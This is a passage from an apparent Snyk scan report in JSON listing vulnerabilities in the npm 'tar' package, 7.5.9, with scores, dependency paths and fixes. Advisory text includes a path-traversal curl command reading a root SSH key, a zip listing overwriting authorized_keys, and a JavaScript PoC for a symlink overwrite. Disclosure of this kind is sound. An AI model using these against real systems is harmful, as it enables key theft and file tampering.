sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", 